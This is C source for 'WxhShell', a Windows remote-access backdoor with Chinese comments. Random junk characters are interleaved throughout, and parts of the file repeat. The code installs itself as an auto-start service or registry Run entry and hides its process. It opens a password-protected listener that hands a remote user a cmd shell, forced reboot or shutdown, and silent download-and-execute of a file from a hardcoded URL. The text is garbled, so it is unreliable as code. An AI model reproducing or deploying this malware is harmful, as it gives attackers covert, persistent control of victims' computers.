S)+ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F}MjZZj(U= static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 29z$z$l4 E &G]R! HANDLE hProcess; dT?mMTKn+ PROCESS_BASIC_INFORMATION pbi; "!,)Pv XN|[8+#U<@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Smg z} if(NULL == hInst ) return 0; @KJ~M3d0l E/OfkL*\ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eU(cn8/} g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zpgRK4p,I" NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SJ*qgI?}T \l-JU if (!NtQueryInformationProcess) return 0; `?=Y^+*!- *{<460`!q hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w Dp5HZ> if(!hProcess) return 0; grVPu! B; A9Kt^HR if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; BMi5F?Q'G 5LaF'>1yY CloseHandle(hProcess); OJ?U."Lxm$ N.'-9hv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D4Z7j\3a if(hProcess==NULL) return 0; 1EiSxf 9KCeKT>v HMODULE hMod; vFwhe! char procName[255]; _kEU=)Xe unsigned long cbNeeded; me@k~!e"z ?'I-_9u if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); BK]5g[
FQ_a=v CloseHandle(hProcess); T|k_$LH pgd9_'[5 if(strstr(procName,"services")) return 1; // 以服务启动
{c}n."` H"NBjVRU% return 0; // 注册表启动 JCjV, } cB0"vbdO ?+_Y!*J2b // 主模块 Lrjp int StartWxhshell(LPSTR lpCmdLine) rczwxWK { f1AO<>I; SOCKET wsl; j4%\'xj: BOOL val=TRUE; -[}Ah NYK int port=0; &iO53I^r/ struct sockaddr_in door; zD@RW<M NjFlV(XT} if(wscfg.ws_autoins) Install(); o)WzZ,\F^J C23Gp3_0/ port=atoi(lpCmdLine); AGhr(\j R!>l7p/|H) if(port<=0) port=wscfg.ws_port; Y>2oU`ly, QCJf WSADATA data;
VXPsYR& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P" aw--f( ^6@6BYf) if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; lw`$(, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m^$KDrkD door.sin_family = AF_INET; K |^OnM door.sin_addr.s_addr = inet_addr("127.0.0.1"); p'4ZcCW?f door.sin_port = htons(port); |-9##0H *RD<*l if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { "G!,gtA~ closesocket(wsl); 7*eIs2aY return 1; _ |G') 9 } oM!zeJNA Bo4iX,zu if(listen(wsl,2) == INVALID_SOCKET) { AzMX~cd closesocket(wsl); RDxvN:v return 1; ?$@E}t8g\ } |Hv8GT Wxhshell(wsl); ;"2(e7ir WSACleanup(); )1/J5DI @8 xf3;:soC return 0; jwp?eL!7 Bq~?!~\?. } J9);( awgS5We| // 以NT服务方式启动 _iH:>2p 5R VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =>*9"k%m { LG
vPy DWORD status = 0; ^f] 9^U{ DWORD specificError = 0xfffffff; _^h?JTU^ ^S:I38gR#q serviceStatus.dwServiceType = SERVICE_WIN32; QSx4M serviceStatus.dwCurrentState = SERVICE_START_PENDING; %GigRA@no serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v*&WqVg serviceStatus.dwWin32ExitCode = 0; 2OwO|n serviceStatus.dwServiceSpecificExitCode = 0; ow9Vj$m serviceStatus.dwCheckPoint = 0; OouR4 serviceStatus.dwWaitHint = 0; YR"IPyj vMYEP_lhK, hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2Uy}#n|)r if (hServiceStatusHandle==0) return; u vyvy F\ %PB p status = GetLastError(); u>.>hQ if (status!=NO_ERROR) ^.~ F_ { ,-V7~gM%} serviceStatus.dwCurrentState = SERVICE_STOPPED; Lpk`qJ serviceStatus.dwCheckPoint = 0; F~l:WQAj serviceStatus.dwWaitHint = 0; iza.' Mm~ serviceStatus.dwWin32ExitCode = status; OSkBBo]~z serviceStatus.dwServiceSpecificExitCode = specificError; gmCB4MO SetServiceStatus(hServiceStatusHandle, &serviceStatus); V4. }wz_Y return; \eCQL(_ } Wdp4'rB nXW]9zC"/ serviceStatus.dwCurrentState = SERVICE_RUNNING; n ==+NL serviceStatus.dwCheckPoint = 0; Fq!-
%Y serviceStatus.dwWaitHint = 0; ;m}o$` if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lu[xoQ~I } +ooQ-Gh L8cPNgZ
// 处理NT服务事件,比如:启动、停止 6AKT-r. VOID WINAPI NTServiceHandler(DWORD fdwControl) 8 O.5ML{ { `cqZ;(^ switch(fdwControl) jO5Wemqf { &P(vm@* case SERVICE_CONTROL_STOP: 9=G
dj!L serviceStatus.dwWin32ExitCode = 0; *cc|(EM serviceStatus.dwCurrentState = SERVICE_STOPPED; 3&Fqd serviceStatus.dwCheckPoint = 0; Dl_SEf6b serviceStatus.dwWaitHint = 0; |dqvv { *Edr\P SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9S{?@*V } z1LY|8$G return; 7J$Yd976 case SERVICE_CONTROL_PAUSE: '?b.t2 serviceStatus.dwCurrentState = SERVICE_PAUSED; 8zH/a
break; UpqDGd7M case SERVICE_CONTROL_CONTINUE: {ud^+I& serviceStatus.dwCurrentState = SERVICE_RUNNING; 2"B3Q:0he| break; ?v Z5 ^k case SERVICE_CONTROL_INTERROGATE: 4.'KT;[_1/ break; B=hJ*;:p }; !gG\jC~n SetServiceStatus(hServiceStatusHandle, &serviceStatus); G2hBJTW } ~f[91m!+ jIL$hqo // 标准应用程序主函数 LJBDB6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) q^+Z> { @-BgPDi.Z f2FGod<CzN // 获取操作系统版本 ,E8~^\HV OsIsNt=GetOsVer(); -1 _7z{. GetModuleFileName(NULL,ExeFile,MAX_PATH); 9p9-tJfH. R,ddH[3 // 从命令行安装
q
pFzK if(strpbrk(lpCmdLine,"iI")) Install(); "6P- 0CJ x^JjoI2vf // 下载执行文件 }NETiJ"6 if(wscfg.ws_downexe) { 8A|i$#.& if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Mta;6< WinExec(wscfg.ws_filenam,SW_HIDE); ]@7]mu:oL } eZ
+uW0 K7$Vl"l if(!OsIsNt) { !FR1yO'd> // 如果时win9x,隐藏进程并且设置为注册表启动 Yq%D/dU8 HideProc(); t+BLO< StartWxhshell(lpCmdLine); -g)*v<Fb5 } IP+1 :M else x_|: 3I if(StartFromService()) 0 ;ov^] // 以服务方式启动 LdY aJh~h StartServiceCtrlDispatcher(DispatchTable); |h65[9DMP else -}r(75C // 普通方式启动 YK|Y^TU^ StartWxhshell(lpCmdLine); sYY=MD
/yj-^u\R return 0; .
G ~,h } 9C)w'\u9+ i4oBi]$T Zc57] ~ 3a#j&] =========================================== 9@|X~z5E b3!,r\9V hX@.k|Yd bNO/CD4 6Bfu89 IWcYa.=tZ " },5_h0 7w=%aW| #include <stdio.h> S+C^7# lT #include <string.h> to*<W,I #include <windows.h> U[8Cg #include <winsock2.h> xj!_]XJ^w #include <winsvc.h> "Z6: d"S` #include <urlmon.h> A4W61f v]HiG_C #pragma comment (lib, "Ws2_32.lib") U%na^Wu #pragma comment (lib, "urlmon.lib") [{B1~D- q3E_.{t #define MAX_USER 100 // 最大客户端连接数 kV Z5>D$ #define BUF_SOCK 200 // sock buffer g1`/xJz| #define KEY_BUFF 255 // 输入 buffer @Q atgYu 20f):A6 #define REBOOT 0 // 重启 R4|<Vp<U2 #define SHUTDOWN 1 // 关机 Cz_chK4 __V6TDehJ$ #define DEF_PORT 5000 // 监听端口 ;zO(bj> >AW=N #define REG_LEN 16 // 注册表键长度 '2%/h4jY #define SVC_LEN 80 // NT服务名长度 =}~hbPJM kM?p >V6 // 从dll定义API y]`@%V2P typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &xqr&(o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B$ )6X typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -zVa[& typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [\&Mo]"0 a4}2^K // wxhshell配置信息 p=(;WnsK struct WSCFG { M_4g%uHG int ws_port; // 监听端口 PaFJw5f char ws_passstr[REG_LEN]; // 口令 otO6<%/m int ws_autoins; // 安装标记, 1=yes 0=no ]Zim8^n?`. char ws_regname[REG_LEN]; // 注册表键名 hexq]' R char ws_svcname[REG_LEN]; // 服务名 8D:{05 char ws_svcdisp[SVC_LEN]; // 服务显示名 5yQv(<~*G char ws_svcdesc[SVC_LEN]; // 服务描述信息 , &HZvU& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^"%SHs int ws_downexe; // 下载执行标记, 1=yes 0=no
t=]&q. char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G?]E6R char ws_filenam[SVC_LEN]; // 下载后保存的文件名 EhybaRy;C q'?:{k$% }; hqY9\,.C ${ ~UA6 // default Wxhshell configuration 8E Y<^: struct WSCFG wscfg={DEF_PORT, 5 b[:B~J "xuhuanlingzhe", aM9St!i 1, _|Ml6;1aZ "Wxhshell", L&'0d$Tg8 "Wxhshell", VmkYl$WZo "WxhShell Service", 6mBX{-Z[ "Wrsky Windows CmdShell Service", MOG[cp "Please Input Your Password: ", kI3-G~2 1, +2w54X%?M "http://www.wrsky.com/wxhshell.exe", `R^g[0 w' "Wxhshell.exe" 0{Kl5>Z9M }; ,\DB8v6l\A 9hT^Y,c0 // 消息定义模块 y+?tUSPP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -i'T!Qg1 char *msg_ws_prompt="\n\r? for help\n\r#>"; /)de`k" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7Yxy2[ char *msg_ws_ext="\n\rExit."; !o4xI? char *msg_ws_end="\n\rQuit."; *<U&DOYV: char *msg_ws_boot="\n\rReboot..."; EBM\p+x& char *msg_ws_poff="\n\rShutdown..."; 64\Z OG\, char *msg_ws_down="\n\rSave to "; ('uYA&9 Vrz!.X~ char *msg_ws_err="\n\rErr!"; g#_?Vxt char *msg_ws_ok="\n\rOK!"; u6y\ GsM.a %i%Xi+{3 char ExeFile[MAX_PATH]; 1qUdj[Bj int nUser = 0; NI(`o8fN HANDLE handles[MAX_USER]; "`"j2{9|e! int OsIsNt; ^;s`[f|w i:kWO7aP SERVICE_STATUS serviceStatus; H]=3^ g64 SERVICE_STATUS_HANDLE hServiceStatusHandle; `CK;,>i X{#@ :z$ // 函数声明 ^^?DYC
int Install(void); 2ZtqZ64i int Uninstall(void); 9zO3KT2 int DownloadFile(char *sURL, SOCKET wsh); D-3/?"n int Boot(int flag); &,."=G void HideProc(void); ?GFxJ6!%I int GetOsVer(void); OqBw&zm int Wxhshell(SOCKET wsl); hDlk! #* void TalkWithClient(void *cs); RC (v#G int CmdShell(SOCKET sock); AD?DIE(v int StartFromService(void); q 8=u.T int StartWxhshell(LPSTR lpCmdLine); bOck^1Hk y kM3BP&
3m1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); MmWJYF= VOID WINAPI NTServiceHandler( DWORD fdwControl ); &OhKx :
1fik // 数据结构和表定义 d<7J)zUm3 SERVICE_TABLE_ENTRY DispatchTable[] = +H&_Z38n { iW"L!t#\| {wscfg.ws_svcname, NTServiceMain}, 1wc
-v@E {NULL, NULL} -'PpY302 }; ;@d%<yMf@ XFu@XUk!K // 自我安装 N0vd>b int Install(void) HqXo;`Yy} { E;4Ns char svExeFile[MAX_PATH]; 2hJ{+E.m HKEY key; M+hc,;6 strcpy(svExeFile,ExeFile); jq0tMTb%L 0"2 [I // 如果是win9x系统,修改注册表设为自启动 5h:SH]tn8] if(!OsIsNt) { ^2kWD8c* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0dcXgP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R\.huOJh RegCloseKey(key); doR'=@ W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (v4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5GJ0E Z'X RegCloseKey(key); ;2@sn+@ return 0; "ZyHt HAK } P/I{q s } ^CK)q2K>[ } J.<%E[
z else { ax^${s|{- /a$+EQ$ // 如果是NT以上系统,安装为系统服务 D`t e|K5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rmMO-!s if (schSCManager!=0) Yip9K[ { >|Jw,,uf SC_HANDLE schService = CreateService 4|$D.`Wu ( 0[1!K&(L schSCManager, d(@A wscfg.ws_svcname, m@O\Bi}=} wscfg.ws_svcdisp, 9>i6oF]Oq SERVICE_ALL_ACCESS, L\Jl'r| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pm1
"
0 SERVICE_AUTO_START, @Qs-A^. SERVICE_ERROR_NORMAL, 1=;QWb6 svExeFile, m|]^f;7z NULL, D+SpSO7yg NULL, Nr[Rp NULL, \OU+Kl< NULL, YjX=@ NULL 42wcpSp ); Mb>6.l if (schService!=0) CD&m4^X5D { X#3<hN*v CloseServiceHandle(schService); `U g.c CloseServiceHandle(schSCManager); 6#KI?
6 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Dz50,*}J strcat(svExeFile,wscfg.ws_svcname); 13QCM0# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^z^>]Qd RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r/4]b]n RegCloseKey(key); |?|
u-y return 0; s{k\1P(G} } 20moX7L } xF/D YXC{8 CloseServiceHandle(schSCManager); .HQ<6k:
} 'QS"4EvdD } gPwp
[ eurudl return 1; 2T3DV])Q } MJG%HakK0 DrEtnt // 自我卸载 r{Q< a int Uninstall(void) V^{!d} { xI<dBg|]+ HKEY key; f
oVD+\~Y m4DH90~a8 if(!OsIsNt) { 5HbTgNI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Eo Urc9G2 RegDeleteValue(key,wscfg.ws_regname); <!N;(nZ9}O RegCloseKey(key); z}8YrVr@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j?,*fp8 RegDeleteValue(key,wscfg.ws_regname); u W|x)g11a RegCloseKey(key); -*lP1Nbp return 0; V`M,d~:Pr" } ,xz^k/. } 68c;Vb } zrew:5*uZ else { .cF$f4>2 2`I;f/Sd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1!`768 if (schSCManager!=0) /a(zLHyz) { e\_6/j7' SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U(N$6{i_ if (schService!=0) 0X?fDz}jd { B<XPu=| if(DeleteService(schService)!=0) { 0w['jh|, CloseServiceHandle(schService); z=p CloseServiceHandle(schSCManager); 4LjSDgA return 0; oPy zk7{ } ]R{"=H' CloseServiceHandle(schService); +2}(]J=- } ,&?q}M CloseServiceHandle(schSCManager); | q16%6q } \z`d}\3(R } b(q&}60 7h]R{ _ return 1; 'c[LTpn4= } [U(&Ae0V> zzQH@D1 // 从指定url下载文件 'q'Y:A?, int DownloadFile(char *sURL, SOCKET wsh) 8~)[d!' { vEe HRESULT hr; ++!E9GU{ char seps[]= "/"; 'TrrOq4 char *token; G
r|@CZq char *file; I=%sDn char myURL[MAX_PATH]; 4@e!D Du char myFILE[MAX_PATH]; [T}]Ma*CS =+h!JgY/L strcpy(myURL,sURL); rgzI token=strtok(myURL,seps); Kg`x9._2 while(token!=NULL) 7=.VqC^ { Z{
Zox[/ file=token; G^ZkY token=strtok(NULL,seps); &8AS=v } >v_5xd9 thPH_DW>eb GetCurrentDirectory(MAX_PATH,myFILE); !;*2*WuO; strcat(myFILE, "\\"); ,*Z[P%<9 strcat(myFILE, file); WJU NJN send(wsh,myFILE,strlen(myFILE),0); OPY/XKyY, send(wsh,"...",3,0); 'HWgvmw( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bus=LAJt= if(hr==S_OK) _
1{5~
return 0; 0bxvM else ,okJ eZ return 1; .&x?`pER -mHhB(Td' } [a)~Dui0@\ +R#`j r" // 系统电源模块 SfobzX}~Jh int Boot(int flag) 8*#][wC2 { ]az}
n(B, HANDLE hToken; ,L{o,qzC TOKEN_PRIVILEGES tkp; b#;N!VX \Tf{ui if(OsIsNt) { UeQ9G OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D'[P,v;Q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); sR>;h / tkp.PrivilegeCount = 1; 4`-?r%$,: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 31sgf5 s AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C$RAJ if(flag==REBOOT) { ;k&k#>L!K if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #Wm@&|U return 0; ]t*P5 } FV6he[, else { tbzvO<~ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =E}%>un return 0; `{|}LFS> } &Y>~^$`J } mz VuQ else { A[ECa{v if(flag==REBOOT) { 2V2x,! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UE,~_hp return 0; ~R?dDL } PDq}Tq else { 8P<UO if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k *;{n8o?) return 0; Sp~Gv>uMK } FX|lhwmc( }
)47j8jL =7]Q6h@X return 1; aBVEk2 p } 3@ F+ E\k c7l!G~yx' // win9x进程隐藏模块 K?Xo3W%K void HideProc(void) 1[/$ZYk: { d[RWkk5 n|mJE,N HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >H1|c%w if ( hKernel != NULL ) .f !]@"\ { 7z&adkG: pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 'q};L 6 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z:o
86~su FreeLibrary(hKernel); zsMw5C } Fy_<Ui p[@oF5M return; _KM $u>B8 } hKH$AEHEU} ]~
#+b> // 获取操作系统版本 `^&15?Wk int GetOsVer(void) Bsu=^z { ! F;<xgw OSVERSIONINFO winfo; 3dX=xuQ%/ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @1/}-.(n GetVersionEx(&winfo); jgo<#AJ/E if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) f.$aFOn return 1; ^!o1l-Y^gr else !7kLFW return 0; Ql:
b1C, } / 8WpX "x.6W! // 客户端句柄模块 C{`^9J- int Wxhshell(SOCKET wsl) 2iR:*}5 { [aWDD[#j~ SOCKET wsh; 5&-j{J0iV struct sockaddr_in client; T[4[/n>i DWORD myID; =!g/2;-or *_{l while(nUser<MAX_USER) 5v!DYx { ]w_ int nSize=sizeof(client); "%}Gy>; wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TJyH/C if(wsh==INVALID_SOCKET) return 1; Gdf1+mi XAQ\OX# handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %TW%|"v if(handles[nUser]==0) @`IXu$Wm( closesocket(wsh); '!+P{ else gI^L
9jE7 nUser++; PQU3s$ } w;yiX<t< WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z@Z_] h
kyRh k\X return 0; S6Xb*6 } cXOje"5i -40'[a9E // 关闭 socket }DDVGs[ void CloseIt(SOCKET wsh) r sX$fU8 { TXd5v#_vo closesocket(wsh); _uO!N(k. nUser--; B8cBQ v ExitThread(0); )]c]el@y } LXh@o1 f%Z;05 // 客户端请求句柄 L@1,7@
void TalkWithClient(void *cs) J$6-c'8 { 8 l'bRyuS >bX-!<S SOCKET wsh=(SOCKET)cs; b(.-~c(' char pwd[SVC_LEN]; H9Y2n 0 char cmd[KEY_BUFF]; e(OwS?K char chr[1]; D4=..; int i,j; Ism^hyL S+) l[0 while (nUser < MAX_USER) { YM# Qq,i if(wscfg.ws_passstr) { zp7V\W;
& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Sc;iAi
( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ie G7@ //ZeroMemory(pwd,KEY_BUFF); p@?7^nIR*u i=0; 3d,-3U while(i<SVC_LEN) { L,Ao.?j P3>..fhoW // 设置超时 S3ab0JM fd_set FdRead; &Q-[; struct timeval TimeOut; H
Z;ZjC* FD_ZERO(&FdRead); w+Z- -@\ FD_SET(wsh,&FdRead); Kcscz, TimeOut.tv_sec=8; %sO Wg.0_ TimeOut.tv_usec=0; 5u2{n rc int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); <ICZ"F`S if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1A7 %0/K-] lv<iJH\
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .-SDo"K.h pwd=chr[0]; g
,/a6M if(chr[0]==0xd || chr[0]==0xa) { ^%\)Xi pwd=0; F[>7z3I break;
'O.+6`& } :r1;}hIA9 i++; u-AWJc+F . } V,>+G6e *'UhlFed // 如果是非法用户,关闭 socket D+@-XU<Lp< if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A[u)wX^`f^ } 5x*5|8 f,Sth7y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ksB send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q+YuVQ-fx ;j>*;Q` while(1) { 0lX)Cl mgi,b2 ZeroMemory(cmd,KEY_BUFF); %v5)s(Yu lhLnyg Uk // 自动支持客户端 telnet标准 A)\>#Dv j=0; ;;ER"N while(j<KEY_BUFF) { "KMLk if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YniZ(
~^K cmd[j]=chr[0]; |ZS 57c: if(chr[0]==0xa || chr[0]==0xd) { 7%{R#$F cmd[j]=0; Hze-Ob8 break; G 6Wx3~ } nqZA|-} j++; W3 ^z Ij } `d75@0: PV?]UUc'n< // 下载文件 m! rwG( if(strstr(cmd,"http://")) { F0@Qgk]\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); @@'nit if(DownloadFile(cmd,wsh)) uWUR3n send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3LKB; else M,crz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ao)Ck3] } q\a[S* else { }KK2WJp#M }0$mn)*k switch(cmd[0]) { 3>i>@n_ ;4!=DFbU // 帮助
}c}
( 5 case '?': { Yx6hA#7I send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
RXBb:f break; pJd 0k"{ }
\;-qdV_JB // 安装 o>2e!7 case 'i': { c\M#5+ 1j if(Install()) 6^Ph ' send(wsh,msg_ws_err,strlen(msg_ws_err),0); {]=v]O|, else IQT cYl send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3=Z<wD s break; {] O`gG } ,:^
N[b // 卸载 wDDx j case 'r': { \3r3{X
_<` if(Uninstall()) IeVLn^?+: send(wsh,msg_ws_err,strlen(msg_ws_err),0); B]1HS`*7 else x"vwWJNQ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z+jh;!i break; tG/1pW } -PM)EGSk{ // 显示 wxhshell 所在路径 U|8[#@r case 'p': { So#dJ> char svExeFile[MAX_PATH]; iSlFRv?a strcpy(svExeFile,"\n\r"); ^OF5F8Tf/ strcat(svExeFile,ExeFile); |=\91fP68` send(wsh,svExeFile,strlen(svExeFile),0); R aefj(^V break; mG_BM/$ } <{giHT // 重启 Rvvh{U;t case 'b': { s|Zx(.EP send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }'lNi^"XL if(Boot(REBOOT)) Q!K`e )R send(wsh,msg_ws_err,strlen(msg_ws_err),0); [G a~%m else { &eIGF1ws closesocket(wsh); NgHpIonC ExitThread(0); ,>u=gA&} } :7\9xH break; *xcP` } B20_ig: // 关机 \OcMiuw case 'd': { H>?F8R_iq send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _S"f_W if(Boot(SHUTDOWN)) 71O3O7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); l)Zs-V!M^\ else { NY@"&p'Q closesocket(wsh); a}>Dz 1R ExitThread(0); j5\$[-'; } h~w4, T break; 7UKYmJk. } *zy'#`> // 获取shell RlsVC_H\ case 's': { 1kmQX+f CmdShell(wsh); O%-h&C3 closesocket(wsh); Ziz=]D_ ExitThread(0); y? "@v. break; '&by3y5w-3 } H0a-( // 退出 =Y9\DeIZ case 'x': { pcH<gF(k send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'S?;J ,/ CloseIt(wsh); ID4~Gn break; ^Dr.DWi{$ } ,GrB'N{8e // 离开 8Mu;U3cIW case 'q': { U<47WfcW send(wsh,msg_ws_end,strlen(msg_ws_end),0); Pr+~Kif closesocket(wsh); C c*({ WSACleanup(); HR60 exit(1); `5'2Hg+ break; M$A#I51 } &aPl`"j } %jEY3q } <tbZj=*O/o $D'^t( // 提示信息 WA.AFt if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aV>aiR= } .0|=[| } RH(V^09[o [;KmT{I9 return; st/n"HQ } \cQ .|S R#(G%66
// shell模块句柄 4DLq}v int CmdShell(SOCKET sock) zX kx7d8 { "+|L_iuNQ STARTUPINFO si; s&'BM~WI ZeroMemory(&si,sizeof(si)); lJ{V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +;q.Y? si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H9`
f0(H PROCESS_INFORMATION ProcessInfo; xd8
*<,Wj char cmdline[]="cmd"; )ofm_R'q* CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #tjmWGo, return 0; *
OsU Y=; } o>c^aRZ{ #SkX@sl@ // 自身启动模式 TfRGA(+# int StartFromService(void) ^Y04qeRd { T&xt`| typedef struct MJ\[Dt { ?_q+&)4-o DWORD ExitStatus; 9<s4yZF@x DWORD PebBaseAddress; ALGgAX3t DWORD AffinityMask; <L2emL_' DWORD BasePriority; -2i\G .,J ULONG UniqueProcessId; V5"HwN+` ULONG InheritedFromUniqueProcessId; _3>djF_u } PROCESS_BASIC_INFORMATION; O8|*M " b |7ja_ PROCNTQSIP NtQueryInformationProcess; 1;&;5 =Q(vni83< static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; DjHp+TyT static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4vdNMV~ 'iUg[{'+ HANDLE hProcess; feEMg PROCESS_BASIC_INFORMATION pbi; GXX+}=b7qO SwH2$:f HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &ZJgQ-Pc(m if(NULL == hInst ) return 0; ^#e~g/ xx8U$,Ng g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :reTJQwr g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Zb''mf\ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g4&jo_3:p
xh0 xSqDM if (!NtQueryInformationProcess) return 0; . L;@=Yg) ,EEPh>cXc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $%2H6Eg0 if(!hProcess) return 0; /_\W+^fE #cKqnk if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j@1)K3Hga Q:MhjkOr} CloseHandle(hProcess);
